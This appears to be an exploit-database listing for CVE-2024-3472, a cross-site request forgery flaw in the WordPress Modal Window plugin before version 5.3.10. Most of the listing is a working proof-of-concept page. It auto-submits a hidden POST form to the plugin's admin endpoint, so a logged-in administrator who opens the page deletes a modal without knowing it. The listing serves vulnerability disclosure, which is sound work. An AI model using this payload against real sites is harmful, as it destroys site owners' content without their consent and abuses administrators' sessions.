Exploit for Modal Window < 5.3.10 - Modal Deletion via CSRF CVE-2024-3472

Name: Exploit for Modal Window < 5.3.10 - Modal Deletion via CSRF CVE-2024-3472
Rating: 5 (30 reviews)

2024-04-11 | CVSS 6.7

## https://sploitus.com/exploit?id=WPEX-ID:D42F74DD-520F-40AA-9CF0-3544DB9562C7
Have a logged in admin open an HTML file containing where `ID` is an existing modal: 

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=modal-window" method="POST">
        <input type="text" name="ID" value="1" />
        <input type="text" name="action" value="delete-items" />
        <input type="text" name="action2" value="delete-items" />
        action
        <input type="submit" value="submit">
    </form>
</body>
```